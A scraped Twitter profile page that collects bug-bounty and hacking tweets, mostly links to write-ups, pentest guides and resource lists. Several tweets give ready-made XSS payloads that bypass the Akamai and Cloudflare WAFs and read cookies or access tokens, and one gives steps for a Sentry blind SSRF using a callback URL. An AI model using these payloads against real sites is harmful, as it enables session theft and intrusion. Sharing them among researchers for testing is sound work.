Three Ninner Alpha @_NurSec

nurn0b11nf053c.blogspot.com Joined January 2017

Tweets

110
Followers

263
Following

623
Likes

381

Jev 🇵🇸 @h33tjubaer

3 years ago

Can Bug Bounty Cause Serious Mental Stress, Extreme Frustration Or Learned Helplessness ? #bugbounty #hacking #bugbountytips Curious To Know!

1 3 6 7K 1

Samuel @saamux

6 years ago

A good way to bypass the Akamai WAF by exploiting a redirect-based XSS is with the following payload: javascript:new%20Function`al\ert\`1\``; You can also obfuscate it using HTML entities #BugBounty

1 134 304 0 74

Parth Malhotra @Parth_Malhotra

6 years ago

I miss the good old hacking days when it was not just about finding bugs, Around 2011, when hacking wasn't any race. These days i see beginners say, "I want to learn bug hunting", no one says "I want to learn hacking", Days when hacking was not about earning but about learning.

32 63 494 0 9

Emad Shanab - أبو عبد الله @Alra3ees

6 years ago

Hunting for Vulnerabilities in Android Apps with Burp and APK Tools. labs.p64cyber.com/hunting-for-vu…

1 55 112 0 19

Somdev Sangwan @s0md3v

6 years ago

[Deserialization Attack Resources] Introductory Video: youtube.com/watch?v=EzOquQ… Paper: exploit-db.com/docs/english/4… Write-ups: hackerone.com/reports/134321 hackerone.com/reports/350418 artsploit.blogspot.com/2016/01/paypal… Cheatsheet: github.com/swisskyrepo/Pa…

4 192 449 0 92

Emad Shanab - أبو عبد الله @Alra3ees

6 years ago

FTP Penetration Testing on Ubuntu (Port 21) hackingarticles.in/ftp-penetratio… SSH Penetration Testing (Port 22) hackingarticles.in/ssh-penetratio… Penetration Testing on Telnet (Port 23) hackingarticles.in/penetration-te… NetBIOS and SMB Penetration Testing on Windows hackingarticles.in/netbios-and-sm…

1 146 307 0 48

Download Image

sandh0t @sandh0t

6 years ago

I'm proud to share my first write-up, hope you enjoy it Think Outside the Scope: Advanced CORS Exploitation Techniques link.medium.com/UTKkk4wvGW

31 387 835 0 135

Emad Shanab - أبو عبد الله @Alra3ees

6 years ago

“Web Services & API Pentesting-Part 1” by Asfiya Shaikh link.medium.com/a/key_live_ofx…

0 112 248 0 34

Emad Shanab - أبو عبد الله @Alra3ees

6 years ago

“BLIND SSRF in *.stripe.com due to Sentry Misconfiguration” by Oktavandi link.medium.com/DFF748gyyW

2 55 130 0 20

Patrik Fehrenbach @ITSecurityguard

6 years ago

Sentry Blind SSRF (hackerone.com/reports/374737 /medium.com/@0ktavandi/bli…) 1. cat aquatone/*/urls.txt | grep sentry 2. Burpsuite 3. Send it to Repeater 4. Change the value of filename: to a postb.in url (or similar) 5. Wait for a connection 6. 👻

10 227 519 0 117

Download Image

Frans Rosén @fransrosen

6 years ago

Akamai WAF bypass XSS in HTML-context when no character-filtering exists to trick it: <style>@KeyframeS a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>

8 252 646 0 94

Orange Tsai 🍊 @orange_8361

6 years ago

It's my honor to present at #BHUSA again! @mehqq_ and I will show our research and disclose pre-auth RCEs on at least 3 leading SSL VPN vendors! blackhat.com/us-19/briefing… @BlackHatEvents

14 105 512 0 5

willis @willvandevanter

6 years ago

XXE triggered by a UDP response packet; that's slick. The write-up is great as well with vulnerable Docker and really nice PoC. talosintelligence.com/vulnerability_…

0 149 281 0 23

Joseph Melika @jmelika

6 years ago

#bugbounty tip: to demonstrate XSS impact, don't use alert('alert'). Determine whether session is stored in cookies or local storage and put that in the popup. cookie: alert(document.cookie) LocalStorage: alert(localStorage.getItem('access_token')) #securetheinternet

6 178 477 0 81

Justin Gardner @Rhynorater

6 years ago

Common ways to get RCE: - SSRF to Metadata - Jenkins /script - Jenkins Orange RCE - Leaked cloud creds/keys (online, via LFD, ect) - Arbitrary file upload - ImageTragik - SSTI Fill in how you've gotten RCE!

47 454 1K 0 215

Omar Espino • @omespino

7 years ago

#tutorial Universal Android #SSLPinning In 10 Minutes With Frida (@fridadotre) I didn’t found a pretty clear tutorial for beginners in mobile security like me, so that’s why decided to create this 10 min tutorial. omespino.com/tutorial-unive… #BugBounty #infosec #AndroidSecurity

5 222 456 0 66

Download Image

Arbaz Hussain @ArbazKiraak

7 years ago

Cloudflare Bypass: <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>

14 350 893 0 91

Synack Red Team @SynackRedTeam

7 years ago

Happy October, SRT! For our #SRToftheMonth, we are excited to introduce not just one, but three. Congrats @nahmedfaisal, @tareksiddiki & @meshahriyar!! These 3 made some $$ hacking for Synack during their vacation in Bangladesh last year. #placesyougowithSRT